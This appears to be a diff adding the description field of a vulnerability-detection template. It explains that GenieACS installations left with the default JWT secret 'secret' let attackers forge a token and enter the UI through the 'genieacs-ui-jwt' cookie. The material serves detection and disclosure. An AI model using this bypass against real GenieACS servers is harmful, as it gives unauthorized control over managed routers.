+  description: |
+    GenieACS, an Auto Configuration Server (ACS) for TR-069 enabled routers and similar devices, is vulnerable to authentication bypass due to the use of a default JWT secret. During installation, if the default JWT secret "secret" is not changed, an attacker can create a JWT token, sign it, and use this token to log into the GenieACS UI interface. The attack is carried out by setting a cookie named "genieacs-ui-jwt" with its value being the JWT token.
